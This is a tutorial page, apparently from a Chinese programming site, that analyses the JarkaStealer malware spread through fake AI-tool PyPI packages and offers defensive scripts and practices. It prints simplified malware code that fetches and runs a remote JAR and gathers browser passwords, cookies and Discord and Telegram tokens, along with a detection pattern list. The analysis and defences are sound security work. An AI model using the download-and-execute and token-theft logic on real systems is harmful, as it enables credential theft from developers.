偵測和緩解針對 AI 愛好者的 PyPI 攻擊：深入研究 JarkaStealer 活動-Python教學-PHP中文網

Detecting and Mitigating PyPI Attacks Targeting AI Enthusiasts: A Deep Dive into JarkaStealer Campaigns

最近幾個月，透過偽裝成 AI 開發工具的 PyPI 套件針對 Python 開發人員的複雜供應鏈攻擊激增。讓我們分析這些攻擊並學習如何保護我們的開發環境。

最近 PyPI 攻擊的剖析

已識別的惡意軟體包

發現了兩個傳播 JarkaStealer 惡意軟體的著名軟體包：

gptplus：聲稱提供 GPT-4 Turbo API 整合
claudeai-eng：偽裝成 Anthropic Claude API 包裝器

這兩個軟體包在最終從 PyPI 中刪除之前都吸引了數千次下載。

攻擊鏈技術分析

1. 初始有效負載分析

這是典型的惡意套件結構：

# setup.py
from setuptools import setup

setup(
    name="gptplus",
    version="1.0.0",
    description="Enhanced GPT-4 Turbo API Integration",
    packages=["gptplus"],
    install_requires=[
        "requests>=2.25.1",
        "cryptography>=3.4.7"
    ]
)

# Inside main package file
import base64
import os
import subprocess

def initialize():
    encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD"
    decoded = base64.b64decode(encoded_payload)
    # Malicious execution follows

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2. 惡意軟體部署流程

攻擊遵循以下順序：

# Simplified representation of the malware deployment process
def deploy_malware():
    # Check if Java is installed
    if not is_java_installed():
        download_jre()

    # Download malicious JAR
    jar_url = "https://github.com/[REDACTED]/JavaUpdater.jar"
    download_file(jar_url, "JavaUpdater.jar")

    # Execute with system privileges
    subprocess.run(["java", "-jar", "JavaUpdater.jar"])

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3. 資料滲透技術

JarkaStealer 的資料收集方法：

# Pseudocode representing JarkaStealer's operation
class JarkaStealer:
    def collect_browser_data(self):
        paths = {
            'chrome': os.path.join(os.getenv('LOCALAPPDATA'), 
                     'Google/Chrome/User Data/Default'),
            'firefox': os.path.join(os.getenv('APPDATA'), 
                      'Mozilla/Firefox/Profiles')
        }
        # Extract cookies, history, saved passwords

    def collect_system_info(self):
        info = {
            'hostname': os.getenv('COMPUTERNAME'),
            'username': os.getenv('USERNAME'),
            'ip': requests.get('https://api.ipify.org').text
        }
        return info

    def steal_tokens(self):
        token_paths = {
            'discord': os.path.join(os.getenv('APPDATA'), 'discord'),
            'telegram': os.path.join(os.getenv('APPDATA'), 'Telegram Desktop')
        }
        # Extract and exfiltrate tokens

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檢測和預防策略

1. 套件驗證腳本

這是一個可用於在安裝前驗證軟體套件的工具：

import requests
import json
from datetime import datetime
import subprocess

def analyze_package(package_name):
    """
    Comprehensive package analysis tool
    """
    def check_pypi_info():
        url = f"https://pypi.org/pypi/{package_name}/json"
        response = requests.get(url)
        if response.status_code == 200:
            data = response.json()
            return {
                "author": data["info"]["author"],
                "maintainer": data["info"]["maintainer"],
                "home_page": data["info"]["home_page"],
                "project_urls": data["info"]["project_urls"],
                "release_date": datetime.fromisoformat(
                    data["releases"][data["info"]["version"]][0]["upload_time_iso_8601"]
                )
            }
        return None

    def scan_dependencies():
        result = subprocess.run(
            ["pip-audit", package_name], 
            capture_output=True, 
            text=True
        )
        return result.stdout

    info = check_pypi_info()
    if info:
        print(f"Package Analysis for {package_name}:")
        print(f"Author: {info['author']}")
        print(f"Maintainer: {info['maintainer']}")
        print(f"Homepage: {info['home_page']}")
        print(f"Release Date: {info['release_date']}")

        # Red flags check
        if (datetime.now() - info['release_date']).days < 30:
            print("⚠️ Warning: Recently published package")
        if not info['home_page']:
            print("⚠️ Warning: No homepage provided")

        # Scan dependencies
        print("\nDependency Scan Results:")
        print(scan_dependencies())
    else:
        print(f"Package {package_name} not found on PyPI")

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2. 系統監控方案

實作此監控腳本來偵測可疑活動：

import psutil
import os
import logging
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class SuspiciousActivityMonitor(FileSystemEventHandler):
    def __init__(self):
        self.logger = logging.getLogger('SecurityMonitor')
        self.suspicious_patterns = [
            'JavaUpdater',
            '.jar',
            'base64',
            'telegram',
            'discord'
        ]

    def on_created(self, event):
        if not event.is_directory:
            self._check_file(event.src_path)

    def _check_file(self, filepath):
        filename = os.path.basename(filepath)

        # Check for suspicious patterns
        for pattern in self.suspicious_patterns:
            if pattern.lower() in filename.lower():
                self.logger.warning(
                    f"Suspicious file created: {filepath}"
                )

        # Check for base64 encoded content
        try:
            with open(filepath, 'r') as f:
                content = f.read()
                if 'base64' in content:
                    self.logger.warning(
                        f"Possible base64 encoded payload in: {filepath}"
                    )
        except:
            pass

def start_monitoring():
    logging.basicConfig(level=logging.INFO)
    event_handler = SuspiciousActivityMonitor()
    observer = Observer()
    observer.schedule(event_handler, path=os.getcwd(), recursive=True)
    observer.start()
    return observer

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開發團隊的最佳實踐

虛擬環境政策

# Create isolated environments for each project
python -m venv .venv
source .venv/bin/activate  # Unix
.venv\Scripts\activate     # Windows

# Lock dependencies
pip freeze > requirements.txt

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自動安全檢查

# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Run security scan
        run: |
          pip install safety bandit
          safety check
          bandit -r .

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